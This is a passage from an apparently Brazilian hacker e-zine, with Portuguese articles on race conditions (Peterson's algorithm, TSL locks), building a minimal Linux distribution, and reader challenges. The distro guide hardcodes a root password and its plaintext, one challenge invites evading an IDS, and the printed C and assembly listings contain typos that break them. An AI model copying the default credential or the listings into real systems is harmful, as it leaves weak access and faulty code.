descobre que ele eh 0 e entra na sua regiao critica. O processo 1 tambem 
descobre que ele eh 0 e, portanto, entra em um laco estrito testando 
turn continuamente para ver quando ele se torna 1. Testar continuamente 
uma variavel ateh que algum valor apareca eh chamado espera atica. 

Normalmente deve ser evitado, uma vez que desperdica tempo de CPU. 
Soh quando ha uma expectativa razoavel de que a espera seja curta eh 
que a espera ativa eh utilizada. Quando o processo 0 sai da regiao 
critica, ele define turn como 1, permitindo que o processo 1 entre 
em sua regiao critica. Suponha que o processo 1 termine de trabalhar 
em sua regiao critica rapidamente, entao, ambos os processos estao 
em suas regioes nao-criticas, como turn configurado como 0. Agora o 
processo 0 executa seu laco inteiro rapidamente, voltando para sua 
regiao nao-critica com turn configurado como 1. Nesse ponto, o processo 
1 acaba de trabalhar na sua regiao nao-critica e volta ao topo do seu 
laco. Infelizmente, ele nao tem permissao para entrar na sua regiao 
critica agora, porque turn esta configurado como 1 e o processo 1 esta 
ocupado com sua nao-critica. Colocado de maneira diferente, a utilizacao 
de turnos(turn) nao eh uma boa ideia quando um dos processos eh muito 
mais lento do que o outro. Essa situacao viola a condicao 3 estabelecida
anteriormente: o processo 1 esta sendo bloqueado por um processo que 
nao esta em sua regiao critica. Voltando ao diretorio de spooler ja 
discutido, se agora associassemos a regiao critica com leitura e com 
gravacao do diretorio de spooler, o processo 0 nao teria permissao para 
imprimir outro arquivo porque o processo 1 estaria fazendo outra coisa.

De fato, essa solucao requer que os dois processos alternem estritamente 
sua entrada nas suas regioes criticas, por exemplo, em arquivos de spool. 
Nenhum deles teria permissao para fazer dois spools em fila. Embora esse 
algoritmo realmente evite todas as race conditions na realidade, ele nao 
eh um candidato serio como uma solucao porque viola a condicao 3.



8 - A solucao de Peterson
-------------------------

Combinando a ideia de turnos com a ideia de variaveis de bloqueio 
e variaveis de aviso, o matematico holandes T. Dekker foi o primeiro 
a projetar uma solucao de software para o problema da exclusao mutua 
que nao requer alternancia estrita. Para uma discussao sobre o algoritmo
de Dekker, consulte(Dijkstra, 1965). Em 1981, G. L. Peterson descobriu 
um modo muito mais simples de obter a exclusao mutua, tornando obsoleta 
assim a solucao de Dekker. O algoritmo de Peterson eh mostrado na 
Figura 2-9.

Figura 2-9 - A solucao de Peterson para obter exclusao mutua.



<++> race/peterson.c

#define FALSE 0
#define TRUE  1
#define N     2			/* numero de processos */

int turn;			/* de quem eh a vez(turn)? */
int interestes[N];		/* todos os valores inicialmente 0(FALSE) */

void enter_region(int process);	/* o process eh 0 ou 1 */
{
 int other;			/* numero dos outros processos */

 other = 1 - process;		/* o oposto do processo */
 interested[process] = TRUE;    /* mostra que voce esta interessado */
 turn = process;		/* define o sinalizador */
 while(turn == process && interested[other] == TRUE) /* declaracao nula */;
}

void leave_region(int process)	/* processo: quem esta saindo */
{
 interested[process] = FALSE;	/* indica saida da regiao critica */
}

<-->



Esse algoritmo consiste em dois procedimentos escritos em ANSI C, 
o que significa que prototopos de funcao devem ser fornecidos para 
todas as funcoes definidas e utilizadas. Entretanto, para poupar 
espaco, nao mostraremos os prototipos neste exemplo nem nos 
subsequentes. Antes de utilizar as variaveis compartilhadas(i. e., 
antes de entrar em sua regiao critica), cada processo chama 
enter_region com seu proprio numero de processo, 0 ou 1, como 
parametro. Essa chamada causara espera, se necessario, ateh que seja 
seguro entrar. Depois que terminou de trabalhar com as variaveis 
compartilhadas, o processo chama leave_region para indicar que 
terminou e permitir que o outro processo entre, se ele, entao, 
quiser.

Deixe-nos ver como essa solucao funciona. Inicialmente nenhum processo
esta em sua regiao critica. Agora o processo 0 chama enter_region. Ele 
indica seu interesse, configurando seu elemento da matriz e configura 
turn como 0. Como o processo 1 nao esta interessado, enter_region 
retorna imediatamente. Se o processo 1 agora chamar enter_region, ele 
ficara parado ai ateh que interested[0] torne-se FALSE, evento que soh 
acontece quando o processo 0 chama leave_region para sair da regiao 
critica. Agora, considere o caso em que os dois processos chamam 
enter_region quese simultaneamente. Ambos armazenarao seu numero 
de processo em turn. Qualquer que seja o armazenamento feito por ultimo, 
eh este que conta; o primeiro eh perdido. Suponha que o processo 1 
armazene por ultimo, assim turn eh 1. Quando ambos os processos chegam na
declaracao while, o processo 0 a executa zero vezes e entra em sua regiao 
critica. O processo 1 entra em laco e nao entra em sua regiao critica.



9 - A instrucao TSL
-------------------

Agora vejamos uma proposta que requer uma pequena ajuda do hardware. 
Muitos computadores, especialmente aqueles projetado com multiplos 
processadores em mente, tem uma instrucao TEST AND SET LOCK(TSL 
- testa e configura o bloqueio) que funciona como segue. Ela le o 
conteudo da palavra de memoria em um registrador e, entao, armazena 
um valor diferente de zero nesse endereco de memoria. As operacoes 
de leitura e de armazenamento da palavra sao garantidas como sendo 
indivisiveis - nenhum outro processador pode acessar a palavra de 
memoria ateh que a instrucao tenha acabado. A CPU que executa a 
instrucao TSL bloqueia o barramento de memoria, proibindo outras 
CPUs de acessar a memoria ateh que ela tenha terminado. Para utilizar 
a instrucao TSL, utilizaremos uma variavel compartilhada, lock, para 
coordenar o acesso a memoria compartilhada. Quando lock eh 0, qualquer 
processo pode configuralo como 1 utilizando a instrucao TSL e, entao, 
ler ou gravar a memoria compartilhada. Quando termina, o processo 
configura lock de volta para 0 utilizando uma instrucao MOVE comum.
Como essa instrucao pode ser utilizada para prevenir que dois processos
entrem simultaneamente em suas regioes criticas???? 
A solucao eh dada na figura 2-10.

Figura 2-10 - Configurando e limpando bloqueios utilizando TSL.



<++> race/tsl.s

enter_region:
      tsl register, lock | Copia lock para o registrador e o configura 
                           como 1
      cmp register, #0   | lock era zero?
      jne enter region   | se nao era zero, o bloqueio estava configurado, 
                           entao inicia um laco
      ret	         | retorna para aquele que fez a chamada; entrada 
                           na regiao critica

leave_region:
      move lock, #0	 | armazena um 0 no bloqueio(lock)
      ret		 | retorna para aquele que fez a chamada

<-->



Essa figura mostra uma sub-rotina de quatro instrucoes em uma ficticia
(mas tipica) linguagem assembly. A primeira instrucao copia o valor 
antigo de lock para o registrador e, entao, configura lock como 1. 
Entao, o valor antigo eh comparado com 0. Se for diferente de zero, 
o bloqueio ja foi definido e, entao, o programa volta para o comeco e
testa novamente. Cedo ou tarde ele se tornara 0(quando o processo 
atualmente em sua regiao critica terminar de trabalahr nela) e a 
sub-rotina retorna com o bloqueio configurado. Limpar o bloqueio eh
simples. O programa simplesmente armazena um 0 em lock. Nenhuma 
instrucao especial eh necessaria. Uma solucao para o problema da 
regiao critica agora eh simples. Antes de entrar em sua regiao critica,
um processo chama enter_region, que faz a espera ativa ateh que o 
bloqueio esteja livre; entao, ele adquire o bloqueio e retorna. 
Depois da regiao critica, o processo chama leave_region, que armzazena 
um 0 em lock. Como ocorre em todas as solucoes baseadas em regioes 
criticas, os processos devem chamar enter_region e leave_region nos 
momentos certos para o metodo funcionar. Se um processo trapacear, 
a exclusao mutua falhara.


- end of RC -






          /* ++++++++++++++++++++++++++++++++++ * _____.....
        ._ *                                    * ____....
      ..__ *    [09] Assembly em linux/i386     * ___...
    ...___ *        Por Hophet                  * __..
  ....____ *                                    * _.
....._____ * ++++++++++++++++++++++++++++++++++ */




Pessoal, newbies, leitores, em anexo ao pacote desta edicao 
da zine, esta um "Manual Basico de Assembly em Linux/i386
- AT&T", que escrevi e por ser "meio" grande nao o coloquei
junto aos demais textos que aqui estao, mas o coloquei junta_
mente ao pacote, ele descreve bem os aspectos da linguagem
ASM em linux, mexe com varios pontos importantes dentro do ASM, 
e trabalha com a sinteze AT&T, pro pessoal que gostaria de 
iniciar nesta incrivel linguagem o txt eh um bom comeco, e os 
links no final do mesmo vao te ajudar e muito na continuidade 
do aprendizado, vale a pena se esforcar um pouco e aprender 
Assembly pois com certeza vai ser de grande utilidade a voce. 
O nome do txt contendo o "manual" eh "assembly_em_linux.txt".
Qualquer problema com o mesmo ou duvidas fique avontade em
enviarme um email relatando, ou mesmo falando do que achou.
Um abraco, e tenha um bom aprendizado neste mundo ASM. :)

Texto: assembly_em_linux.txt



- end of ASM -








          /* +++++++++++++++++++++++++++++++++++++++++++++ * _____.....
        ._ *                                               * ____....
      ..__ *    [10] Montando sua propria Distro Linux     * ___...
    ...___ *         Por Blood_Sucker!                     * __..
  ....____ *                                               * _.
....._____ * +++++++++++++++++++++++++++++++++++++++++++++ */



Introducao
==========

Eae galera, beleza?? Estou aki mais uma vez escrevendo pra BTH zine e 
desta vez sobre um outro assunto, Explicarei neste pequeno texto como 
vc mesmo pode montar a sua propria distribuicao de linux. Nao confundam 
montar com programar uma propria distribuicao, eu explicarei a vcs como 
montar uma distribuicao, a partir do seu linux normal. Aos poucos vcs 
vaun entendendo como isso funciona. Pois com este ponta pe inicial vc 
ja podera montar uma excelente distribuicao de linux, com enfase focada 
em suas necessidades. Este texto para montar uma distribuicao, pode 
ajudar administradores tb.

Este texto tb pode servir de ponta peh inicial pra vc montar a sua propria 
distribuicao para "fucar" por exemplo, ou uma distribuicao soh pra testes, 
e eu lhe garanto q isso eh bastante util. Principalmente por nao ocupar 
muito espaco no hd e por ser uma coisa da qual vc tera total controle. 
Sem contar q vai ser muito util pro aprendizado neh, pra quem nao 
conhece muito os eskemas de configuracao do linux e tals...

Referencias 
===========

Antes q digam q eu sou um ripador, ou alguma coisa do tipo, ja quero deixar 
claro algumas coisinhas. Eu no comeco do ano li o LFS-HOWTO e achei muito 
interessante o assunto, principalmente pela satisfacao de vc estar usando 
um sistema q vc mesmo montou(confesso q nao eh grande coisa, mas eu acho 
legal vc expandir suas opcoes de distribuicoes, tendo como uma delas algo 
q vc mesmo fez). Por isso comecei a desenvolver aos poucos a minha distri_
buicao, e fikou legal. Pois fiz o basico dela soh pra testes mesmo, e vi q 
realmente isso funciona. Entao, agora decidi expandir isso, ja q quase nao 
existem informacoes sobre isso em portugues, a nao ser a traducao do LFS-HOWTO.
Bem, agora vou explicar o q eh esse tal de LFS-HOWTO. O LFS-HOWTO(Linux From 
Scratch HOWTO) eh um howto, escrito por Gerard Beekmans, q explica como montar 
a sua propria distribuicao de linux, assim como farei neste artigo, porem 
incrementando mais coisas e atualizando um pouco as coisas neh, pois a ultima 
versao do LFS-HOWTO, q eh a 2.2 foi escrita no comeco de 2000. E os softwares 
e pacotes usados no mesmo estao bastante desatualizados.. 
Existe uma traducao do LFS-HOWTO para o portugues feita pelo Eitch(do TLM) e o 
Rattus(da linuxall, hj usa o nick de Kiss_the_Blade). A traducao eh excelente 
e vc pode encontrala na pagina do eitch(eitch.cjb.net). Mas mesmo assim a 
distribuicao encontra-se junto com esta zine para facilitar pra vc, o arkivo eh 
o lfs_ptbr.txt. Pois voce pode obter mais informacoes sobre o Linux From Scratch 
no site: http://www.linuxfromscratch.org
O site do LFS foi funfado por Gerard Beekmans do qual continua sendo o atual 
mantenedor. Pois o site abrange os eskemas de montar sua propria distribuicao 
de linux do zero, como o proprio nome diz: Linux From Scratch ou Linux do Zero.
Pois existem varias mail-list do LFS, mas digo varias pq elas saun divididas 
em diversos temas(lfs-discuss, lfs-apps, lfs-book, lfs-security, lfs-announce, 
blfs-book e alfs-discuss) e q ao meu ver sao todas excelentes e aconselhaveis.
Para se inscrever nas listas, siga as instrucoes no proprio site da LFS.
Bem, ja expliquei o q tinha q explicar, vamos montar nossa propria distribuicao 
de linux entao.

Particoes
=========

Como eu ja disse, nos iremos MONTAR a nossa distribuicao, e nao programa-la. 
Embora seja bastante util saber shellscript, pois eu irei utilizar shellscripts 
pra desenvolver um instalador de nossa pequena distribuicao. Bom, antes de mais 
nada, precisamos de uma particao para montar a nossa distribuicao. Vou explicar 
como vai funcionar isso.
Nos criaremos uma particao, e montaremos de parte em parte a nossa distribuicao, 
instalando e compilando pacote por pacote na mesma, como se fosse um diretorio 
normal. Esta parte eh extremamente importante. O tamanho para essa nova particao 
varia, depende do q vc ira usar nela. Se vc esta montando sua distribuicao soh pra 
brincar, entao 250MB ja sao suficientes, mas se quiser utilizar recursos para inter_
net, dentre outras coisas(como interface grafica, e outros eskemas), aconselho a 
deixar uns 600MB para sua particao se vc tem um hd grande como o meu, de 10 gigas, 
nao custa nada deixar 1GB pra sua particao, pois nao fara falta nenhuma, principal_
mente pq vc podera acessa-lo de qualquer outra particao.
Nao importa se a particao q vc vai criar eh master ou slave, tanto faz, contanto q 
seja uma particao de type LINUX(nao LINUX SWAP).
Apos ter criado a particao, precisaremos criar um sistema de arkivos para a mesma, 
usaremos o fs padrao do linux mesmo, o ext2fs. Para isso iremos usar o programa 
mke2fs.
Ex: se a particao q vc criou for a /dev/hda3. Entao digite: mke2fs /dev/hda3.
Bem, agora, apos ter criado a sua particao e ter criado o file system da mesma, 
vc ja pode continuar. Mas LEMBRE-SE do numero da particao criada(no caso do exemplo 
seria a /dev/hda3), pq se na hora q vc estiver montando o seu linux, vc colocar 
errado o 3 ali, vai dar merda pq vc vai estar montando em outra particao e ai vai 
ser uma bosta hehehe.

Pacotes
=======

No LFS-HOWTO, o autor utilizou uma serie de pacotes ultrapassados atualmente, 
porem se vc quiser seguir rigorosamente os passos do howto, vc pode baixar 
todos os pacotes principais nos links abaixo:

ftp://ftp.cistron.nl/pub/people/miquels/sysvinit/sysvinit-2.78.tar.gz (106k)
ftp://ftp.gnu.org/gnu/bash/bash-2.03.tar.gz (1528k)
ftp://ftp.kernel.org/pub/linux/kernel/v2.2/linux-2.2.14.tar.gz (15545K)
ftp://ftp.gnu.org/gnu/binutils/binutils-2.9.1.tar.gz (5561K)
ftp://sourceware.cygnus.com//pub/bzip2/v095/bzip2-0.9.5d.tar.gz (450k)
ftp://ftp.gnu.org/gnu/diffutils/diffutils-2.7.tar.gz (304k)
ftp://ftp.gnu.org/gnu/fileutils/fileutils-4.0.tar.gz (1143K)
ftp://ftp.gnu.org/gnu/gcc/gcc-2.95.2.tar.gz (12583K)
ftp://ftp.gnu.org/gnu/glibc/glibc-2.1.3.tar.gz (8800k)
ftp://packages.linuxfromscratch.org/pub/alfs/packages/common-packages/
glibc-crypt-2.1.tar.bz2(36k)
ftp://ftp.gnu.org/gnu/glibc/glibc-linuxthreads-2.1.3.tar.gz (154k)
ftp://ftp.gnu.org/gnu/grep/grep-2.4.tar.gz (409k)
ftp://ftp.gnu.org/gnu/gzip/gzip-1.2.4.tar.gz (215k)
ftp://ftp.gnu.org/gnu/make/make-3.78.1.tar.gz (755k)
ftp://ftp.gnu.org/gnu/sed/sed-3.02.tar.gz (258k)
ftp://ftp.gnu.org/gnu/sh-utils/sh-utils-2.0.tar.gz (1214k)
ftp://ftp.gnu.org/gnu/tar/tar-1.13.tar.gz (1027k)
ftp://ftp.gnu.org/gnu/textutils/textutils-2.0.tar.gz (1533k)
ftp://ftp.gwdg.de/pub/linux/util-linux/util-linux-2.10f.tar.gz (1023K)
ftp://ftp.gnu.org/gnu/bison/bison-1.28.tar.gz (410k)
ftp://ftp.whidbey.net/pub/brennan/mawk1.3.3.tar.gz (205k)
ftp://ftp.gnu.org/gnu/findutils/findutils-4.1.tar.gz (287k)
ftp://ftp.gnu.org/gnu/ncurses/ncurses-5.0.tar.gz (1473k)
ftp://ftp.gnu.org/gnu/less/less-340.tar.gz (220k)
ftp://packages.linuxfromscratch.org/pub/alfs/packages/common-packages/
perl-5.6.0.tar.bz2(4326K)
ftp://ftp.gnu.org/gnu/m4/m4-1.4.tar.gz (310k)
ftp://ftp.gnu.org/gnu/texinfo/texinfo-4.0.tar.gz (1106k)
ftp://ftp.gnu.org/gnu/autoconf/autoconf-2.13.tar.gz (433k)
ftp://ftp.gnu.org/gnu/automake/automake-1.4.tar.gz (344k)
ftp://ftp.gnu.org/non-gnu/flex/flex-2.5.4a.tar.gz (372k)
ftp://tsx-11.mit.edu/pub/linux/packages/ext2fs/old/e2fsprogs-1.18.tar.gz (810K)
ftp://packages.linuxfromscratch.org/pub/3.0-pre4/file-3.34.tar.bz2 (140k)
ftp://ftp.gnu.org/gnu/groff/groff-1.15.tar.gz (1129K)
ftp://tsx-11.mit.edu/pub/linux/packages/GCC/ld.so-1.9.9.tar.gz (346k)
ftp://ftp.gnu.org/gnu/libtool/libtool-1.3.4.tar.gz (522K)
ftp://sunsite.unc.edu/pub/Linux/system/boot/lilo/lilo-21.7.5.tar.gz (223k)
ftp://piast.t19.ds.pwr.wroc.pl/pub/linux/shadow/shadow-19990827.tar.gz (706K)
ftp://ftp.win.tue.nl/pub/linux-local/utils/man/man-1.5h1.tar.gz (174k)
ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils/v2.3/
modutils-2.3.9.tar.gz (176k)
ftp://ftp.gnu.org/gnu/termcap/termcap-1.3.tar.gz (281k)
ftp://ftp.cistron.nl/pub/people/svm/procinfo-18.tar.gz (23k)
ftp://people.redhat.com/johnsonm/procps/procps-2.0.6.tar.gz (184k)
ftp://lrcftp.epfl.ch/pub/linux/local/psmisc/psmisc-19.tar.gz (21k)
ftp://sunsite.unc.edu/pub/Linux/system/daemons/sysklogd-1.4.1.tar.gz (79k)
ftp://ftp.vim.org/pub/editors/vim/unix/vim-5.6-src.tar.gz (1187K)

Eu testei todos os links e asseguro q estao funcionando hj! (No dia do
lancamento do texto). Dependendo da epoca q vc ler este texto pode ser q ja
nao funcione.
Como este eh o nosso primeiro contato com a montagem de distribuicoes, vamos
comecar coisas simples, e infelizmente fikaremos soh nisso, pois estou
ocupado demais para poder continuar isso como se fosse um projeto(bth linux?
=]) Explicarei soh o suficiente pro sistema rodar. Talvez nos continuemos ou
publiquemos algum source de uma nova dist na zine, mas nao garanto.
Entao vamos la, para montarmos nossa pequena dist, soh pra rodar mesmo,
precisaremos dos sysinit e do bash. Soh com isso e em conjunto com alguns
arkivos de configuracao ja da pra rodar uma distzinha.
Baixe estes pacotes aki:

ftp://ftp.cistron.nl/pub/people/miquels/sysvinit/sysvinit-2.83.tar.gz (88k)
ftp://ftp.gnu.org/gnu/bash/bash-2.05.tar.gz (1750k)

Essas saun suas ultimas versoes, saun as q usaremos aki. Vc pode pegar esses
pacotes no cd de instalacao da sua distribuicao tb. E tambem acompanham com
um eskema q fiz justamente pra instalar automaticamente tudo isso, eu falo
disso no final do texto.

Preparando e configurando arkivos e diretorios
----------------------------------------------

Bem, como eu ja disse nos vamos montar o sistema em um diretorio, como se
fosse um dir qualquer da nossa makina.
Antes de mais nada, monte a particao q vc criou em um diretorio qualquer:

mount /dev/hdaX /mnt/hdaX

Trocando o X pelo numero da particao q vc criou neh. Vc pode por isso no
.profile ou no rc.local pra q isso aconteca a cada vez q vc inicie a makina 
saka.

Entre no dir q vc criou e execute os seguintes comandos:

mkdir bin boot dev etc home lib mnt proc root sbin tmp usr var
cd usr
mkdir bin include lib sbin share src
ln -s share/man man
ln -s share/doc doc
ln -s . local
ln -s ../etc etc
ln -s ../var var
cd share
mkdir dict doc info locale man nls misc terminfo zoneinfo
cd man
mkdir man1 man2 man3 man4 man5 man6 man7 man8
cd ../../../var
mkdir lock log run spool tmp
    
Pronto, estrutura de diretorios criada. Ja estamos quase terminando, 
soh vamos copiar algumas coisas dos dirs da nossa dist, ajeitar o 
lilo e ja era. Eh ridiculo de facil. Nao sei nem pq to fazendo um 
texto sobre isso! Vamos la, copie o conteudo do /dev/ pro dir da 
sua dist, faca isso:

cp -av /dev /mnt/hdaX
chown root.root /mnt/hdaX/dev/*
    
Supondo que /mnt/hdaX seja o dir da sua particao montado.

Beleza, agora falta soh configurar o sysvinite o bash.

O sysvinit eh um conjunto de scripts q saun executados na hora da
inicializacao do sistema, chamado INIT.

Copie o pacote do sysinit pra um dir em separado dentro da particao 
q vc criou. Eu aconselho a colocar no /mnt/hdaX/usr/src.
Entre nesse dir e descompacte o pacote: tar -zxvf sysvinit-2.83.tar.gz
Depois entre no dir q ele criou e edite o arkivo Makefile.
Vou colar aki a parte q explica isso do lfshowto.

o  Em algum lugar neste arquivo, antes da regra all: ponha
   esta linha: ROOT = $LFS
       
o  Preceda cada /dev nas ultimas quatro linhas deste arquivo por
   $(ROOT)

Depois de aplicar as partes $(ROOT) para as ultimas quatro linhas,
elas devem parecer com isto:
    
@if [! -p $(ROOT)/dev/initctl ]; then \
echo "Criando $(ROOT)/dev/initctl"; \
rm -f $(ROOT)/dev/initctl; \
mknod -m 600 $(ROOT)/dev/initctl p; fi
			
o  Instale o pacote executando:

make -e LDFLAGS=-static; make install

Sendo q $LFS eh o dir q vc montou a particao (EX: /mnt/hdaX).

Beleza, agora vamos instalar o Bash.

Soh descompactar o pacote no /mnt/hdaX/usr/src igual com o sysvinit,
e instalar.

tar -zxvf bash-2.05.tar.gz
cd no dir do bash

Vamos la, colando do lfshowto again. Instale executando os 
seguintes comandos:

./configure --enable-static-link
make; make -e prefix=$LFS/usr install
mv $LFS/usr/bin/bash $LFS/bin
cd $LFS/bin; ln -s bash sh

Sendo q mais uma vez $LFS eh o dir q vc montou a particao q criou
(Ex: /mnt/hdaX)

Agora soh falta ajeitar os arkivos de conta de usuario e o inittab

Para isso, crie o arkivo inittab no dir /etc da particao q vc criou
(Ex: /mnt/hdaX/etc/inittab) com o seguinte conteudo:

# Inicio de /etc/inittab

id:2:initdefault:
  
ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now
    
1:2345:respawn:/sbin/sulogin
      
# Fim de /etc/inittab

Sendo que neste caso, iremos ter apenas uma tty pra nossa dist. 
Caso queira mais tty, eh soh acrescentar, da seguinte maneira:

2:2345:respawn:/sbin/sulogin
3:2345:respawn:/sbin/sulogin
4:2345:respawn:/sbin/sulogin
5:2345:respawn:/sbin/sulogin
...

E assim por diante =]

Agora vamos editar o passwd e o group.
Crie o seguinte arkivo, /mnt/hdaX/etc/passwd com o seguinte conteudo:

root:$1$/IIdvoo0$uUP99hAt17TX8CMnBvTgP0:0:0:root:/root:/bin/bash

E o /mnt/hdaX/etc/group com o seguinte conteudo:

root::0:

A senha ta criptografada, eu coloquei a senha: bthzine123
Depois se vc quiser vc muda =]

Pronto, praticamente pronto, agora soh falta ajeitar o lilo.

Configurando o Linux Loader (LILO)
----------------------------------

Adicione as seguintes linhas no /etc/lilo.conf

image= /boot/vmlinuz
      label=bth
      root=/dev/hdaX
      read-only
      
Dependendo da sua distribuicao, o local q fika as imagens varia, 
no slack fika no /vmlinuz, mas nos red hat da vida fika no 
/boot/vmlinuz acho.. Entao veja onde ta a imagem nativa do 
linux no lilo.conf mesmo e coloque o mesmo aki. Usaremos ela 
mesmo. E no 'root=/dev/hdaX' troque o X pelo numero da particao..

Bom, pronto, agora digite lilo, e PRONTO. O seu MINI dist ja ta 
pronto. Eh muito ridiculo de fazer nao eh?? com isso ai ja fun_
ciona, agora vc ja tem uma MINIMA base de como eh montar uma dist. 
Eh simples, basta ir instalando o q vc for usar e tals.. a sua 
maneira =] Bem galera, nao pretendo prolongar este manual, como 
ja disse, eh soh uma ponta peh MUITO INICIAL pra vc q nao tem a 
menor nocao de como fazer isso. Talvez eu venha a publicar na zine 
algum code de alguma dist q a gente desenlvover, mas nao prometo 
nada. O mais provavel eh q nao! 
Junto a zine, esta um codigo em shellscript, q faz tudo o q eu
mostrei como fazer manualmente neste manual em conjunto com alguns 
arkivos. Soh q o codigo nao meche com particao, portanto vc tem 
q ter criado a particao antes e definido o sistema de arquivos dela. 
Soh entre no dir BTH_Linux/ e siga as instrucoes de instalacao =]

PS.: Para que seja criado o diretorio BTH_Linux e vc monta sua 
ditro linux, vc tera que descompactar o pacote, siga os pacos:

$ tar -zxvf BTH_Linux.targ.gz

O pacote voce pode pegualo em: http://www.movl.cjb.net/ ou
http://hophet.virtualave.net/
                          

Espero q isso ajude vcs, t+ galera.
Blood_Sucker "Odiado por muitos e compreendido por por poucos"


- End of Distro Linux -







          /* ++++++++++++++++++++++++++++++ * _____.....
        ._ *                                * ____....
      ..__ *    [11] Desafios da Edicao     * ___...
    ...___ *         Por rofeti!            * __..
  ....____ *                                * _.
....._____ * ++++++++++++++++++++++++++++++ */


Estamos novamente aqui na secao de desafios, eh onde vc vai testar
os conhecimentos adquiridos nesta secao. Resolva ou solucione todos
os desafios e mande seus relsultados para nos, para que eles sejam
colocados aqui na proxima edicao. Mande os resultados para:
hophet@yahoo.com.br

1o - Baseado Na Materia sobre IDS, vc vai configurar e instalar o
Quinds, logo apos vc vai tentar todas as coisas possiveis para se
passar por ele, ou seja, voce vai fazer o maximo para quebrar a 
seguranca do mesmo. Os resultados se positivos ou nao, podem ser
enviados a nos.

2o - Baseado na materia sobre Firewall, crie um script que tenha
a implementacao de tecincas NAT, Mascaramento e regras IpChains,
reunidas, montando um script basico para firewall em linux.

3o - Baseado no txt sobre Assembly crie um programa que use um 
syscall com 6 ou mais argumentos, mmap por exemplo, e exiba os 
resultados na tela, use sua imaginacao. 

4o - Baseada na materia sobre Montagem de Distros Linux, vc terah
que implementar novas funcoes ao linux exibido nesta edicao, com
isso fazendo ele cada vez mais util e eficiente, faca e mande pra
nos, elas podem ser aceitas como oficiais e talvez nos possamos 
montar o "BTH Linux" com a ajuda de toda a comunidade, nasceria 
uma nova revolucao no mundo das ditribuicoes linux??! ;D

5o - O ultimo desafio eh te perguntar, vc estah lendo isto aqui
talvez nao se sinta capaz de realizalos, mas com certeza vc pode
e nos presizamos da sua ajuda, comece a realizar os desafios,
duvidas?? leia novamenta ate conseguir realizalos com sucesso e 
com certeza vc vai aprender muito mas do que imaginava. Intao
se mova, nao fique aih parado. Voi lah.


- End of desafios -








          /* ++++++++++++++++++++++++++++++ * _____.....
        ._ *                                * ____....
      ..__ *    [12] Links                  * ___...
    ...___ *         Por hophet!            * __..
  ....____ *                                * _.
....._____ * ++++++++++++++++++++++++++++++ */


Aih vao alguns links pra vcs:

Verdade Absoluta
http://www.absoluta.org/

CIPSGA
http://www.cipsga.org.br/

BufferOverflow
http://www.bufferoverflow.org/

FreshMeat
http://www.freshmeat.net/

LinuxSecurity
http://www.linuxsecurity.com.br/

Gazeta do Linux
http://www.gazetadolinux.com/

Security Focus
http://www.securityfocus.com/

Write To Execute
http://www.write2execute.cjb.net/

Unsekurity Scene
http://www.unsekurity.com.br/

FreeBSD 1o's Passos
http://freebsd.ag.com.br

Mingo Assembler
http://mahome.mingus.cjb.net/

Info Agora
http://www.infoagora.com.br/

Assenbly's Site
http://www.assembly.8m.com/

Unsecurity
http://www.unsecurity.org/

CERT
http://www.cert.org/

RFC-Editor
http://www.rfc-editor.org/

Assembly
http://www.assembly.org/

Phrack
http://www.phrack.org/

hophet - bth mirror
http://hophet.virtualave.net/

bth zine
http://www.movl.cjb.net/








          /* ++++++++++++++++++++++++++++++ * _____.....
        ._ *                                * ____....
      ..__ *    [13] Terminando             * ___...
    ...___ *         Por Hophet!            * __..
  ....____ *                                * _.
....._____ * ++++++++++++++++++++++++++++++ */


Aee, chegamos ao final desta edicao da zine, estamos a cada edicao
procurando sempre aumentar o nivel da zine, para estar sempre traze_
ndo informacoes de qualidade pros newbies fucadores. Passaram-se uns
2 meses e meio, demoro neh?? mas eh porque tou meio enrolado com 
esse negocio de tempo, como disse anteriormente tb, tive problemas
com linha telefonica, mas vamos indo, o que nao pode eh para. 
Eh esta edicao esta sendo lancada no dia do meu aniversario, parabens
pra eu=:D. Eh podem mandar emails avontade falando o que tao achando
da zine, falando mau, elogiando, o negocio eh manda pra nois saber 
onde tem que melhorar, certo??! 

Quero mandar uma abraco ao pessoal do w2x, pro Edson e o pessoal
da PC-Master por ter aberto o espaco pra gente, valeuu! 
Um abraco ao pessoal do unsek tb, e pros meus irmaos Blood_Sucker,
eSc2, Fingu, r0ot, Anjinh0`, sneep, seawolf, rpc, e todos os outros 
espalhados por esse mundo. Quero agradecer tambem ao pessoal que
tem ajudado a zine, valeu mesmo e continuem assim. ;)

Estou com um enorme problema de hospedagem, e ateh agora nao achei
um bom, e por enquanto, ate que eu acerte isso, ah page da bth
vai ficar em "http://hophet.virtualave.net/", e os enderecos 
"http://www.movl.cjb.net" e "http://www.bthzine.cjb.net" vao ser 
redirecionamentos para a virtualave.net, abre uns bannersinhos 
mas eh bom o server. Mas espero acertar isso o mais cedo possivel,
ahh e se vc estah interecado em divulgar ou colocar a zine pra
download na sua pagina, fique avontade, soh entre em contato antes
para que fiquemos sabendo e colocarmos o links lah em cima. ;)

Que possamos ter em mente o nosso papel, e desempenhalo bem. 
"Na vida vc aprende que nao importa o qto vc se importe, algumas
pessoas simplesmente nao se importam..."
"Aprende que verdadeiras amizades continuam a crescer mesmo de
longas distancias..."

Eh, pessoal minhas humildes palavras vao ficando por aqui, nao
vou prolongar mais aqui as minhas palavras, acho que tudo que
tinha pra falar ja falei, na proxima edicao tem mais, vamos
dando um passo de cada vez, ate que qdo olharmos pra tras vere_
mos um enorme caminho percorrido. Um abraco a todos!

Gustavo C. vulgo hophet!


<->

  bth: .string "Enf of File.\n"
  movl $bth, %ecx
  int $0x80 # call the kernel

  $ ./bth
  End of File.   

<->


                                __
                               /_  \
                              /_    \
                               /     \
                          ____ _____ _   _
            (((((((((((( | __ )_   _| | | | )))))))))))))
        (((((((((((((((( |  _ \ | | | |_| | ))))))))))))))))
    (((((((((((((((((((( | |_) || | |  _  | ))))))))))))))))))))
(((((((((((((((((((((((( |____/ |_| |_| |_| )))))))))))))))))))))))
                             //////\\\\\
                            ///////\\\\\\
                           ////////\\\\\\\
                          Breaking The Head 
                         hophet@yahoo.com.br








- end of file -
